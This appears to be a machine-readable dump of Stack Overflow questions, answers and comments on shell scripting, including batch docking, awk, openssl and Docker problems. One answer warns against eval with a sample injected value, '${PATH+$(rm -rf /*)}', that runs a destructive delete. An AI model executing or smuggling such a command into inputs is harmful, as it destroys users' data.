has body: I am trying to perform docking using Autodock4, and I have a specific task in mind. I've downloaded a ligand library, and I need a script that will automatically dock each ligand from this library sequentially. With Autodock Vina, this is possible, and the relevant script is provided below: #! /bin/bash for f in ligand_*.pdbqt; do b=`basename $f .pdbqt` echo Processing ligand $b mkdir -p $b vina --config conf.txt --ligand $f --out ${b}/out.pdbqt --log ${b}/log.txt done However, given the numerous parameters in Autodock4 and the multiple file extensions generated during the docking process, I've found it challenging to write a similar script for Autodock4. Is it possible to automate the docking process I described using Autodock4? Any assistance would be greatly appreciated. Thank you! I expected to be able to sequentially dock each ligand from the library without manual intervention. Is it possible for me to perform this process with Autodock4 by preparing the protein appropriately and using a similar script? Because when we do a regular docking with parameters like grid and docking, it generates specific files for the protein and ligand. Is there an alternative method?

http://stackoverflow.com/comment/135734619
type: QuestionComment
comment on: http://stackoverflow.com/q/76996212
has text: I don't think there's an issue with multiple processes writing to different files simultaneously, that'd be a significant problem with the OS itself. If all R is doing for you is multi-proc coordination, I'd think it'd be much faster to use your non-R shell command directly via `find ... -print0 | xargs -0 -L 1 -P 20 yourscript.sh` or similar (20 here is the number of parallel processes ... your number of cores, likely). (If you don't know how to use `find` or `xargs`, that is easy to work through.
type: Comment
score: 0

http://stackoverflow.com/comment/135714635
type: QuestionComment
type: Comment
score: 0
has text: The thing about putting `su` _in a script_ is that the commands under it don't run until after `su` exits, leaving you back in the original user account. Which user account is the script itself running as? If it's root, root can move any other user's files so you don't need to use `su` in the first place. If it's _not_ root, it can't use `su` passwordless at all.
comment on: http://stackoverflow.com/q/76954855

http://stackoverflow.com/a/76945367
has comment: http://stackoverflow.com/comment/135654925
has comment: http://stackoverflow.com/comment/135648157
has body: To obain the desired output, the below line must be moved inside the if [ -z "$pattern1" ]; then block echo $pattern1 one It is encouraged to use printf instead of echo. When a variable is used, the shell is performing word splitting. Very often "${pattern1}" or "$pattern1" are used to prevent this. awk can be used for the whole file (EDIT): #!/usr/bin/bash -- while IFS= read -r pattern1 ; do if [[ -n "${pattern1}" ]] ; then printf "%s one\npattern is not empty\n" "${pattern1}" fi done < <(awk -F '@' '{print $2}' "$1")
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/76945139
type: Answer
downvote count: 0

http://stackoverflow.com/comment/135662281
type: QuestionComment
comment on: http://stackoverflow.com/q/76954855
type: Comment
score: 0
has text: Since you already know the password, presumably you are authorised to run commands as that user directly. So why not just schedule the command in cron or systemd?

mailx
tag name: mailx
tags question: http://stackoverflow.com/q/76993432
type: Tag
tags question: http://stackoverflow.com/q/77145853
tags question: http://stackoverflow.com/q/78587549

http://stackoverflow.com/comment/135555074
type: QuestionComment
has text: Nope. Any line, new or modified, on one, and no lines from the other
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76893303

http://stackoverflow.com/comment/135685353
score: 0
has text: I'm unsure as I've never used tabulate module, but you probably have a 2-dimensional array (list of lists) right now, in which case I would suggest iterating over every value to add the color & reset codes — or you might have a callback function available for formatting in the tabulate module
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76952209

http://stackoverflow.com/comment/135586572
comment on: http://stackoverflow.com/q/76911748
type: QuestionComment
type: Comment
score: 0
has text: `check.sh` is not an executable.

http://stackoverflow.com/comment/135589543
score: 0
type: QuestionComment
has text: this script is written in GitLab's CI file....let me edit the question
comment on: http://stackoverflow.com/q/76913434
type: Comment

http://stackoverflow.com/comment/135805845
type: Comment
has text: There should be spaces around the `=` in `if $isclear="y"`.
comment on: http://stackoverflow.com/q/77036497
type: QuestionComment
score: 0

http://stackoverflow.com/comment/135581561
type: Comment
comment on: http://stackoverflow.com/q/76907867
has text: Sounds like you're trying to reinvent PTYs via the more fragile mechanism of scripting graphical terminals with keystores. I think you'd be better off just using PTYs from a cli app, and optionally running that app in a graphical terminal.
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135724155
has text: Find's exec executes commands. Dot (`.`) and `source` are shell builtins, see here: https://unix.stackexchange.com/a/109222 BTW, in your example with find `.` is interpreted as the current directory, which is probably not what you want.
comment on: http://stackoverflow.com/q/76990480
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135595628
type: Comment
has text: Finally!!!! :-)
type: AnswerComment
comment on: http://stackoverflow.com/a/76916586
score: 0

http://stackoverflow.com/a/77051033
has comment: http://stackoverflow.com/comment/135833688
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/77050840
type: Answer
has body: It's because the first openssl command reads from the standard input, exhausting the input file. There might be a command line option to avoid that, or you can just redirect a noop to it: : | openssl s_client -connect "$server_name:$server_port" -servername "$server_name" 2> /dev/null | openssl x509 -noout -dates
downvote count: 0
accepted answer of: http://stackoverflow.com/q/77050840
type: AcceptedAnswer

http://stackoverflow.com/comment/135810812
score: 0
has text: @gopajitmalakar There isn't any standard tool with XML capabilities; you need to install one
type: Comment
comment on: http://stackoverflow.com/a/77039367
type: AnswerComment

http://stackoverflow.com/comment/135762034
type: Comment
score: 0
has text: You really didn't want back quotes around the `files=...` and `echo $files` lines, did you? As you are using `$(...)` command substitution, did you know that putting backquotes around a command is the old-fashioned (but highly portable) version of the same **command substition** technique as your `$(...)`? Keep your code clean so readers aren't distracted by such questions as "do they really want old-fashioned cmd-substitution? And Why? ..." (-;! Good luck.
type: QuestionComment
comment on: http://stackoverflow.com/q/77010630

http://stackoverflow.com/a/76902217
upvote count: 2
downvote count: 0
type: Answer
score: 2
has body: Since the accepted answer is using POSIX sh, an alternative is to use a case statement. #!/bin/sh RESULT="Exited (0) Less than a second ago" case "$RESULT" in "Exited (0) Less than a second ago"|"STOP") echo exited;; "Up") echo 'stopped and exited';; *) echo 'Docker already removed';; esac See Case conditional Construct See help case
answers question: http://stackoverflow.com/q/76896657

http://stackoverflow.com/comment/135643732
score: 0
has text: https://onlinegdb.com/mbD3MTcHq <-- Thanks for this much, now i can see orientation but still new line between <.../> these.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76944879

xcode
tags question: http://stackoverflow.com/q/77000910
tag name: xcode
type: Tag
tags question: http://stackoverflow.com/q/77132645
tags question: http://stackoverflow.com/q/77133895
tags question: http://stackoverflow.com/q/77769878
tags question: http://stackoverflow.com/q/78059504
tags question: http://stackoverflow.com/q/78743899
tags question: http://stackoverflow.com/q/78966752
tags question: http://stackoverflow.com/q/79486782
tags question: http://stackoverflow.com/q/79515988

http://stackoverflow.com/comment/135561998
has text: Thanks, it works. But if I the echo command is in another line, the result is empty, how to solve this problem?
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76897279
score: 0

vscode-debugger
tags question: http://stackoverflow.com/q/77042151
type: Tag
tag name: vscode-debugger
tags question: http://stackoverflow.com/q/79505524

http://stackoverflow.com/comment/135818129
type: Comment
comment on: http://stackoverflow.com/q/77043467
score: 0
has text: ok, forgive me, i looked at open-liberty:full-java11-openj9, configure.sh comes from there so as you're not changing your WORKDIR all should be fine... Your try with chmod should be without the leading '/', i'm guessing
type: QuestionComment

http://stackoverflow.com/comment/135729579
has text: @NicoHaase Can you check now ? Thanks
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76993557
type: Comment

http://stackoverflow.com/comment/135569525
score: 0
has text: You don't need the `[]` around the emoji. `[]` is used to match any of a set of characters; if there's just one character, `=~ [char]` is the same as `=~ char`
type: QuestionComment
comment on: http://stackoverflow.com/q/76901704
type: Comment

http://stackoverflow.com/a/76908265
has comment: http://stackoverflow.com/comment/135598938
has comment: http://stackoverflow.com/comment/135599142
score: 0
has comment: http://stackoverflow.com/comment/135599557
has comment: http://stackoverflow.com/comment/135603525
has comment: http://stackoverflow.com/comment/135597835
has comment: http://stackoverflow.com/comment/135598547
has comment: http://stackoverflow.com/comment/135599303
type: Answer
has comment: http://stackoverflow.com/comment/135598123
has body: Using nftw function via TXR Lisp: $ txr sizepath.tl /usr/share/man 2408|/usr/share/man/vi/man1/help2man.1.gz 2246|/usr/share/man/ru/man8/groupmems.8.gz 2451|/usr/share/man/ru/man8/groupmod.8.gz [...] The nftw POSIX C library function has a FTW_CHDIR flag specified in the standard which causes the function to chdir into every directory it traverses. I believe that when FTW_CHDIR is used, nftw is not thwarted by long paths, since internally, it's using short relative paths to do its descent. In TXR Lisp, this flag value appears as the variable ftw-chdir. The sizepath.tl program is: (ftw *args* (lambda (path type stat . rest) (when (eql type ftw-f) (put-line `@{stat.size}|@path`))) ftw-chdir) Regardless of whether you use ftw-chdir, the path argument to the callback function specifies the full path as if chdir calls were not taking place; so that is to say, if the starting points are relative paths, then path will be a relative path from the original directory. If we had to open the file, we would have to use (base-name path), but we don't: ftw gives us a stat argument which is the stat structure; we just pull the size field from that. Although nftw is a POSIX function, this works in the Windows version of TXR, which carries an extensive POSIX run-time library. At the Windows 10 cmd.exe prompt: C:\Users\kaz&gt;copy con sizepath.tl (ftw *args* (lambda (path type stat . rest) (when (eql type ftw-f) (put-line `@{stat.size}|@path`))) ftw-chdir) ^Z 1 file(s) copied. C:\Users\kaz&gt;txr sizepath C:\Users\kaz\AppData\Local\Microsoft 51959|C:\Users\kaz\AppData\Local\Microsoft/CLR_v4.0/ngen.log 2339|C:\Users\kaz\AppData\Local\Microsoft/CLR_v4.0/UsageLogs/AsusJWTDecoder.exe.log 1327|C:\Users\kaz\AppData\Local\Microsoft/CLR_v4.0/UsageLogs/AsusLiveUpdateToast.exe.log [...] Native paths with drive letter names and all.
answers question: http://stackoverflow.com/q/76903882

http://stackoverflow.com/comment/135670137
comment on: http://stackoverflow.com/a/76952209
has text: I see, none of the pages I read and researched ever mentioned anything about a reset. Thank you!
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135599557
type: Comment
type: AnswerComment
has text: Will an admin user see any User Account Control popup? If yes, that would mean that the installer does use the UAC. If no, I do not understand what you meant by "for admin users it will do the escalation."
comment on: http://stackoverflow.com/a/76908265
score: 0

http://stackoverflow.com/a/76924108
accepted answer of: http://stackoverflow.com/q/76923495
downvote count: 0
score: 1
upvote count: 1
type: Answer
has body: I suggest to use crontab's exit code: if ! crontab -l 2>/dev/null 1>&2; then echo "no crontab"; else echo "crontab"; fi
has comment: http://stackoverflow.com/comment/135611612
answers question: http://stackoverflow.com/q/76923495
has comment: http://stackoverflow.com/comment/135617623
type: AcceptedAnswer

http://stackoverflow.com/comment/135597835
score: 0
comment on: http://stackoverflow.com/a/76908265
type: Comment
type: AnswerComment
has text: The TXR installer for Windows requires administrative privileges to run. I cannot use such programs.

http://stackoverflow.com/comment/135579781
comment on: http://stackoverflow.com/q/76906817
type: QuestionComment
has text: See [ProcessManagement - Greg's Wiki](https://mywiki.wooledge.org/ProcessManagement).
score: 0
type: Comment

http://stackoverflow.com/comment/135642849
type: QuestionComment
comment on: http://stackoverflow.com/q/76944313
type: Comment
has text: Do you log as root on the container?
score: 0

http://stackoverflow.com/a/77010727
has body: You can use the RestTemplate in Spring Boot to send a POST request to the Keycloak token endpoint with the necessary parameters (grant_type, username, password, etc.), then extract the access token from the response and attach it to your REST API requests as a bearer token for authentication.
answers question: http://stackoverflow.com/q/77009944
downvote count: 0
has comment: http://stackoverflow.com/comment/135760810
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/135760444

http://stackoverflow.com/comment/135595527
comment on: http://stackoverflow.com/q/76915647
type: QuestionComment
has text: @yvs2014 Why does the first "wait" terminate before the process actually terminates ?
type: Comment
score: 0

http://stackoverflow.com/comment/135643785
comment on: http://stackoverflow.com/q/76944879
score: 1
type: QuestionComment
has text: @Shr I think you misunderstood @jhnc comment. In the case you have ` <"/>` do you consider that it will not split into two line because `"/> <"` is considered a string or do you consider that it will split into two line `` & `<"/>` ?
type: Comment

http://stackoverflow.com/a/76902755
has body: This may be what you want to do: #!/usr/bin/env bash emojis[3]=%{F#d1dadf}%{F-} emojis[1]=%{F#ff5833}%{F-} emojis[2]=%{F#1a88a4}%{F-} emojis[0]=%{F#daf7a6}%{F-} while true; do # get hour TZ=UTC printf -v hour '%(%k)T' -1 if (( hour == 0 )); then delta=0 elif (( hour < 6 )); then delta=3 elif (( hour < 12 )); then delta=1 elif (( hour < 18 )); then delta=2 else delta=0 fi emoji="${emojis[$delta]}" hourShow=$(( hour - delta )) TZ=UTC printf -v min '%(%M)T' -1 printf '%d:%02d %s\n' "$hourShow" "$min" "$emoji" sleep 1 done Since you're using bash and arithmetic operations in the assignment contexts there's no reason not to also use them in comparisons, there's no point always testing the previous range end in an if-else, and no reason I can think of to use sleep 1 &; wait instead of just sleep 1. Here it is tweaked to use the specific hour values the OP provided for testing, done at 2:58pm UTC: $ cat tst.sh #!/usr/bin/env bash emojis[3]=%{F#d1dadf}%{F-} emojis[1]=%{F#ff5833}%{F-} emojis[2]=%{F#1a88a4}%{F-} emojis[0]=%{F#daf7a6}%{F-} #while true; do for hour in 8 8 12 22 0; do # get hour #TZ=UTC printf -v hour '%(%k)T' -1 if (( hour == 0 )); then delta=0 elif (( hour < 6 )); then delta=3 elif (( hour < 12 )); then delta=1 elif (( hour < 18 )); then delta=2 else delta=0 fi emoji="${emojis[$delta]}" hourShow=$(( hour - delta )) TZ=UTC printf -v min '%(%M)T' -1 printf '%d:%02d %s\n' "$hourShow" "$min" "$emoji" sleep 1 done $ ./tst.sh 7:58 %{F#ff5833}%{F-} 7:58 %{F#ff5833}%{F-} 10:58 %{F#1a88a4}%{F-} 22:58 %{F#daf7a6}%{F-} 0:58 %{F#daf7a6}%{F-} You might want to change each %d to %02d in the printfs so you get 2-digits hour values, e.g. 07:58 instead of 7:58.
score: 1
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/135577160
answers question: http://stackoverflow.com/q/76901704
upvote count: 1

http://stackoverflow.com/q/76952166
has body: I have a Python script with several outputs in the case of an error, and if the error occurs then I want the message to be printed in red. I used ANSI codes to do this, such as in the example below: except Exception as e: print(f"\033[1;31;40m An error occurred while verifying alerts: {str(e)}") However, this makes ALL the following output in the shell red. I want it to just be the error messages, and the rest of the text is the default color, like this: enter image description here But instead it's looking like this: enter image description here As you can see, everything I type even after the program is done running becomes red. I'm editing the python file in VIM, and I can't figure out a way to use ANSI codes change just one color of the code. Is there a trick I'm missing? Or are ANSI color codes supposed to permanently change the color of all the text for that session in the shell? The only solution I could think of so far was to put the ANSI code for white text color at the end of each error message so that the following text goes back to white, but obviously depending on custom viewing options in the shell the default text color will be different depending on the user running the program. So I'd prefer to find a way to make just one line red, that way the rest of the text is its natural default color.
type: Question
accepted answer: http://stackoverflow.com/a/76952209
tagged with: colors
tagged with: vim
upvote count: 1
linked to: http://stackoverflow.com/q/287871
score: 0
has title: Change color of output using Python ANSI codes for ONLY one line?
has answer: http://stackoverflow.com/a/76952209
tagged with: shell
has comment: http://stackoverflow.com/comment/135656442
has comment: http://stackoverflow.com/comment/135656973
answer count: 1
favorite count: 0
type: AnsweredQuestion
tagged with: python
downvote count: 1

http://stackoverflow.com/comment/135811408
has text: @GillesQuénot, ...is that built into the stock interpreter now? It's been decades since I wrote anything significant in perl, but back in the day one had to install XML libraries separately, whereas in the Python world there are multiple (_sigh_) options "batteries-included".
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77039367

http://stackoverflow.com/comment/135811005
type: Comment
has text: Tiny optimization for xmlstarlet: `xmlstarlet sel -t -m '/testng-results' -v '@passed div @total'`
type: AnswerComment
comment on: http://stackoverflow.com/a/77039367
score: 1

http://stackoverflow.com/q/77036222
has comment: http://stackoverflow.com/comment/135805539
type: Question
answer count: 0
type: UnansweredQuestion
has body: I am trying to run cpu2006 in Android vi adb, the compiled binary of cpu2006 is working here, but I need to use command time to get the time for each sub-test, but the text that redirect by time is empty although the screen have such output: real 242.697 user 241.500062 sys 0.179010 I put the sub-test command into a sh file which was named as doit.sh: ../run_base_ref_gcc12.0000/bwaves_base.gcc12 2&gt;&gt; bwaves.err here is how I run the test: time taskset -a 80 doit.sh &gt; 410.bwaves.txt real 242.697 user 241.500062 sys 0.179010 410.bwaves.txt is empty. update: I have find a way: { time taskset -a 80 ./doit.sh ; } 2&gt; ${output}.txt
has comment: http://stackoverflow.com/comment/135805664
has comment: http://stackoverflow.com/comment/135805479
has title: Question about redirect to text not work in Android with ADB shell
has comment: http://stackoverflow.com/comment/135805346
score: 0
tagged with: http-redirect
tagged with: shell
tagged with: linux

http://stackoverflow.com/comment/135616160
comment on: http://stackoverflow.com/a/76929011
has text: I changed but I got the same issue: `git commit -m "Cat" error: Commit message must start with a capitalized verb husky - pre-commit hook exited with code 1 (error)`
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/77043467
tagged with: ubuntu-22.04
tagged with: docker
score: 0
tagged with: open-liberty
tagged with: shell
answer count: 0
has comment: http://stackoverflow.com/comment/135818129
type: UnansweredQuestion
tagged with: travis-ci
has comment: http://stackoverflow.com/comment/135818639
has comment: http://stackoverflow.com/comment/135821137
has title: Docker: The command '/bin/sh -c configure.sh' returned a non-zero code: 22
has comment: http://stackoverflow.com/comment/135818415
has comment: http://stackoverflow.com/comment/135818087
type: Question
has body: I have a Java application and it uses liberty server. My Dockerfile has suddenly stopped working in Travis. Although, it builds locally but it's not working in my Travis pipeline. Dockerfile FROM ubuntu:22.04 FROM open-liberty:full-java11-openj9 USER root COPY --chown=1001:0 /deploy/defaultServer/server.xml /config/ COPY --chown=1001:0 /deploy/defaultServer/apps/app.war /config/apps/ ARG VERBOSE=true RUN configure.sh RUN apt-get update Command used to build docker image - docker build --tag app:${TRAVIS_BUILD_ID} . --no-cache --progress=plain I get below error in Travis while building docker image - Step 7/8 : RUN configure.sh ---&gt; Running in d67ac92aad57 The command '/bin/sh -c configure.sh' returned a non-zero code: 22 This error code does not help much. What can I do to get more details on the error? Edit - After adding ARG VERBOSE=true, I saw some logs, and it all seemed fine until the end. This is what came up towards the end - Starting server defaultServer. Server defaultServer start failed. Check server logs for details. The command '/bin/sh -c configure.sh' returned a non-zero code: 22 Where do I get server logs? What is causing the server start to fail?
has comment: http://stackoverflow.com/comment/135820242
has comment: http://stackoverflow.com/comment/135818364

http://stackoverflow.com/comment/135547846
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76886145
has text: I think you can't force terraform in the background, or it might create a subshell or something when you pass it the `&` at the end of the command. You might try with providing `terraform_data` a shell script with everything you have, instead of letting it perform the commands inline.
score: 0

http://stackoverflow.com/comment/137465757
has text: You can fake input, one byte at a time, into a tty line, using `ioctl` parameter `TIOCSTI`. See `man ioctl_tty`, or websearch matches for the word `TIOCSTI` for more details and examples.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76907867
score: 0

http://stackoverflow.com/a/76939942
has body: I'm not sure I understand OP's requirement; if this is simply the appending of two strings with a linefeed ... One idea using printf -v: $ printf -v var "%s\n%s" "string1" "string2" $ typeset -p var declare -- var="string1 string2" $ echo "${var}" string1 string2 Or more simply: $ var="string1"$'\n'"string2" $ typeset -p var declare -- var="string1 string2" $ echo "${var}" string1 string2
downvote count: 0
answers question: http://stackoverflow.com/q/76939782
type: Answer
has comment: http://stackoverflow.com/comment/135634818
score: 1
has comment: http://stackoverflow.com/comment/135634837
upvote count: 1

http://stackoverflow.com/comment/135589388
type: Comment
has text: @EdMorton, Yes, that is right. Because anyway, the order of the IDs is the same for both files.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76913085

http://stackoverflow.com/comment/135594778
comment on: http://stackoverflow.com/q/76916410
has text: Thank you. I found out this works: `monitored_paths=("${(@f)$(jq -r '.monitoredPaths[]' config.json)}")` to read a JSON array as a bash array.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135735437
type: QuestionComment
type: Comment
has text: How does your symlink solution work if someone renames the file without using your script that fixes the symlink?
comment on: http://stackoverflow.com/q/76996572
score: 0

http://stackoverflow.com/a/76993801
has body: This should put everything into one line and remove extra spaces. It expects a filename as argument. So, if you save this script as formatter.sh and input file as input.txt you would call it as: ./formatter.sh input.txt The output gets saved to the same file, so make sure to try it on a copy! #!/bin/bash input_file="$1" # Replace with the path to your input file if [ -f "$input_file" ]; then input=$(cat "$input_file") formatted=$(echo "$input" | tr -d '\n' | sed -e 's/ *$//' -e 's/ */ /g') echo "$formatted" > "$input_file" else echo "Input file not found: $input_file" fi
has comment: http://stackoverflow.com/comment/135730616
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/135731781
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/76993557
has comment: http://stackoverflow.com/comment/135738022

http://stackoverflow.com/comment/135724375
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76990052
has text: Thanks for the `sed` solution. What do I need to do if I want to search nested? For e.g., ` "eth0" 192.168.1.2 1123 "eth11" 192.168.1.21 11231 `, replace `192.168.1.2` IP only (as its port is 1123).

http://stackoverflow.com/comment/135599142
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76908265
score: 0
has text: Does the installer use the User Account Control in _any_ form? Does it require the right to write to Registry?

http://stackoverflow.com/comment/135595614
score: 1
has text: "Why does the first "wait" terminate" - pressing 'ctrl-c' you terminated the first wait
type: QuestionComment
comment on: http://stackoverflow.com/q/76915647
type: Comment

http://stackoverflow.com/comment/135771251
comment on: http://stackoverflow.com/a/77016008
score: 1
type: Comment
has text: In other words, what is the fundamental difference between ' and " for strings in csh ?
type: AnswerComment

http://stackoverflow.com/comment/135707480
type: Comment
comment on: http://stackoverflow.com/q/76980350
has text: "linux" is not a shell -- it's a kernel; one can run any shell one chooses on that kernel, and the answer will depend on the shell that's in use, not the kernel. "bash", or "zsh", or "sh", or "fish" would be examples of shells.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135582650
has text: (in particular: unquoted expansions go through only two expansion steps, word-splitting and globbing; they skip anything that's really dangerous -- no command substitutions, no pipelines, no redirections, no quoting/unquoting characters processed as syntax rather than literal, etc; that's why only extremely simple commands look like they work when you run `$cmd`, and why your `|` is treated as an argument to `ping`, not a separator into multiple commands)
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76909230
type: Comment

http://stackoverflow.com/a/76979328
answers question: http://stackoverflow.com/q/76978039
downvote count: 0
score: 1
upvote count: 1
type: Answer
has body: One awk idea: eth='eth0' port='1123' ip='111.111.111.111' awk -v eth="${eth}" -v port="${port}" -v newip="${ip}" ' # populate awk variables with OS variable varlues function update_print() { if (block) { # if block is not empty then ... # if block contains matches for our "eth" and "port" values then update the block with newip if (block ~ " \"" eth "\" " && block ~ " " port " ") sub(/ .*<\/IpAdd>/, " " newip " ", block) print block # print block } } $0 == " " { inblock = 1 } # if start of a new block then set flag $0 == " " { update_print() # if end of block then update and/or print block block = "" # reset our inblock = 0 # variables } inblock { block = block (block ? ORS : "") $0 # if flag is set then append current line to variable "block" next # skip to next input line } 1 # if we get here it is because "inblock == 0"; "1" is always true so print current line ' test.xml This generates: "eth0" 111.111.111.111 1123 "eth1" 192.168.1.22 6789 "Name" 192.168.1.2 1123

http://stackoverflow.com/comment/135810833
comment on: http://stackoverflow.com/a/77039367
type: Comment
has text: You can try `xmllint` from my edited post, this is the most installed XML tool around. But `xidel` is better.
type: AnswerComment
score: 1

http://stackoverflow.com/comment/135671683
type: Comment
has text: you can do without sed if it is too troublesome on some exotit platform: awk '$0 ~ /.*server.*/ {printf("#%s\n",$0); next;}; {print}' a.txt but also awk might not be the standard awk on solaris
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76960050

http://stackoverflow.com/comment/135792872
type: Comment
comment on: http://stackoverflow.com/q/77028902
score: 0
has text: Thank you wOxxOm. That ultimately solved my issue in a much more elegant manner. I'm embarrassed I didn't think of that!
type: QuestionComment

http://stackoverflow.com/comment/135584810
score: 2
type: QuestionComment
comment on: http://stackoverflow.com/q/76910492
has text: Looks like XY-problem. Do you want to simply restart something if it crashed? Run your server as a systemd service. Configure it to restart on crash. Systemd will do the job.
type: Comment

http://stackoverflow.com/comment/135735543
type: Comment
has text: The Unix filesystem is not object-oriented. There are no direct references to files as objects. One of the reasons is permissions: to acces a file, you need execute permission to the containing directory. So accesses have to be via pathnames so the parent permissions can be checked.
score: 0
comment on: http://stackoverflow.com/q/76996572
type: QuestionComment

http://stackoverflow.com/comment/135756679
score: 1
comment on: http://stackoverflow.com/q/77006747
has text: you've stated: *`I have tried myself`*; please update the question with your attempts to address this issue along with the (wrong) results generated by your attempts
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135573219
type: QuestionComment
type: Comment
score: 0
has text: Why is this tagged for Python?
comment on: http://stackoverflow.com/q/76903745

http://stackoverflow.com/a/76911815
type: Answer
has body: There is no file check.sh in PATH. If you want to find something in current working directory, find it there. subprocess.Popen(["./check.sh", "ABC"]) If you want to find something in the same directory as python script, navigate to the same directory as the python script. import subprocess from pathlib import Path subprocess.Popen([str(Path(__file__).parent / "check.sh"), "ABC"])
has comment: http://stackoverflow.com/comment/135586945
has comment: http://stackoverflow.com/comment/135586820
score: 0
answers question: http://stackoverflow.com/q/76911748
has comment: http://stackoverflow.com/comment/135586771

http://stackoverflow.com/comment/135589420
comment on: http://stackoverflow.com/q/76913085
type: QuestionComment
type: Comment
score: 0
has text: @AndreWildberg, 1), 2) and 3) Yes, that is correct.

http://stackoverflow.com/a/77037388
type: Answer
has comment: http://stackoverflow.com/comment/135807330
answers question: http://stackoverflow.com/q/77037291
has body: Using cat file in place of your git command which I don't have: $ cat file | awk -F'/' '/\.sql$/{ sub(/__.*/,"",$NF); if ( !seen[$NF]++ ) printf "%s%s", sep, $NF; sep=", " }' V04.01, V04.02 I know you said you don't want any newlines but that makes the output not a valid text file so if you do want a terminating newline just add END{print ""} to the end of the awk script.
score: 1
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/77037291
downvote count: 0

http://stackoverflow.com/comment/135807330
comment on: http://stackoverflow.com/a/77037388
score: 1
has text: Wow, that works perfectly, I am marking it as best answer for me :) Many thanks, best wishes :)
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135735491
comment on: http://stackoverflow.com/q/76996572
type: QuestionComment
has text: When you move a file, all that does is create a new file with the same inode. It essentially creates a new hard link and the erases the old one. The rest of the hard links are all preserved. In MY view, the NFS concerns are irrelevant. I don't think NFS is a significant player any more.
type: Comment
score: 0

http://stackoverflow.com/comment/135772197
comment on: http://stackoverflow.com/q/77016713
score: 0
type: QuestionComment
type: Comment
has text: Actually, this example does not reproduce for me. `( sleep 100;echo "Finished execution" ) &` and afterwards `killall -INT sleep` produced the expected output.

http://stackoverflow.com/comment/135555588
has text: Usually, ffmpeg doesn't self-background at all so I don't know why you'd need to do any of this. `while true; ffmpeg ...` should suffice. Use a systemd service (with appropriate tuning) if you want something to come up at boot and automatically restart whenever it fails. That also helps insofar as you can tell systemd to start a service only after other prerequisites are met (f/e, only after network configuration is complete), and you can have an `ExecStartPre` that waits until the camera in particular is on the network.
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76893847

http://stackoverflow.com/comment/135772669
type: Comment
comment on: http://stackoverflow.com/q/77016713
score: 1
type: QuestionComment
has text: You did not mention this being in an interactive shell, so I used a backgrounded subshell when testing to simulate a stand-alone script (where it behaves the same). You should probably edit the question to clarify this.

http://stackoverflow.com/comment/135641754
type: QuestionComment
has text: Try `cat sample1.txt sample2.txt sample3.txt | awk 'NR > 1 && $2>60{c++} END{print c+0}'`?
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76943562

http://stackoverflow.com/a/77027644
has comment: http://stackoverflow.com/comment/135792629
score: 2
answers question: http://stackoverflow.com/q/77027254
upvote count: 2
downvote count: 0
type: Answer
has body: I would be cautious of using eval. Just imagine checking an input file with ${PATH+$(rm -rf /*)} or a variable that expands to something fishy. Nevertheless, if you want to go that route, grep is perfect for extracting multiple matches from lines: grep -io '\${[a-z0-9_]*}' | grep -o '[^${}]*' | sort -u But since your input already seems to be valid JSON and the "rules" of what is interpreted as variable are limited, may I interest you in a bit of jq instead? empty="$(jq -re 'map(scan("\\${(\\w+)}")[] | select(env[.]|length==0)) | unique[]' vars.json)" \ && echo "The following vars are empty: $empty"; or if empty="$(jq -re 'map(scan("\\${(\\w+)}")[] | select(env[.]|length==0)) | unique[]' vars.json)"; then echo "The following vars are empty: $empty"; fi or empty="$(jq -re 'map(scan("\\${(\\w+)}")[] | select(env[.]|length==0)) | unique[]' vars.json)"; if [ "$empty" ]; then echo "The following vars are empty: $empty"; fi

http://stackoverflow.com/a/76901883
score: 2
upvote count: 2
has body: Instead of matching $emoji with a regexp, set another variable when you're setting emoji, and use that when setting timeShow. #!/bin/bash smile=#d1dadf; sad=#ff5833; angry=#1a88a4; laugh=#daf7a6; while true; do # get hour time=$(date +%_H -u); # set empty hour timeShow=TEST; timeOffset=0 # set empty emoji emoji=; if [ $time -ge 0 ] && [ $time -lt 6 ]; then emoji=%{F$smile}%{F-} timeOffset=3 elif [ $time -ge 6 ] && [ $time -lt 12 ]; then emoji=%{F$sad}%{F-} timeOffset=1 elif [ $time -ge 12 ] && [ $time -lt 18 ]; then emoji=%{F$angry}%{F-} timeOffset=2 elif [ $time -ge 18 ] && [ $time -ne 0 ]; then emoji=%{F$laugh}%{F-} timeOffset=3 fi timeshow=$((time - timeOffset) echo "$timeShow:$(date '+%M' -u) $emoji" sleep 1 & wait done
type: Answer
accepted answer of: http://stackoverflow.com/q/76901704
has comment: http://stackoverflow.com/comment/135569847
downvote count: 0
answers question: http://stackoverflow.com/q/76901704
type: AcceptedAnswer

http://stackoverflow.com/comment/135589066
type: Comment
comment on: http://stackoverflow.com/q/76911748
score: 0
type: QuestionComment
